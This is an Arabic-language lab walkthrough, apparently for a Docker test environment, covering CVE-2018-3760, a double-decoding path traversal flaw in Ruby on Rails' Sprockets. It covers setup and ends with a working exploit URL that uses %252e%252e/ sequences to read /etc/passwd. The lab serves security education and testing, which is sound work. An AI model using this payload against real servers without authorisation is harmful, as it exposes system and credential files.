
مختبر قائم على Docker يوضح ثغرة اجتياز المسار CVE-2018-3760 في Sprockets الخاصة بـ Ruby on Rails، مع PoC وإعداد البيئة للاختبار الأمني والتعليم.
Ruby On Rails هو إطار عمل ويب معروف لتطوير تطبيقات الويب بلغة Ruby، ويستخدم Sprockets كخادم ملفات ثابتة في بيئة التطوير. Sprockets هي مكتبة Ruby تقوم بتجميع وتوزيع ملفات الموارد الثابتة.
توجد ثغرة اجتياز مسار ناتجة عن فك الترميز الثانوي في Sprockets 3.7.1 والإصدارات الأقدم. يمكن للمهاجم استخدام %252e%252e/ للوصول إلى الدليل الجذر وقراءة أو تنفيذ أي ملف على الخادم المستهدف.
الروابط المرجعية:
أدخل الأمر التالي:
docker-compose up -d
قم بزيارة http://your-ip:3000 وسترى صفحة الترحيب.
سيتم عرض خطأ عند زيارة http://your-ip:3000/assets/file:%2f%2f/etc/passwd مباشرة، لأن الملف /etc/passwd ليس ضمن الدلائل المسموح بها.

يمكننا الحصول على قائمة بالدلائل المسموح بها من صفحة الخطأ. فقط اختر أحدها، مثل /usr/src/blog/app/assets/images، ثم استخدم %252e%252e/ للانتقال إلى الدليل الأصلي، واقرأ أخيرًا الملف /etc/passwd:
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
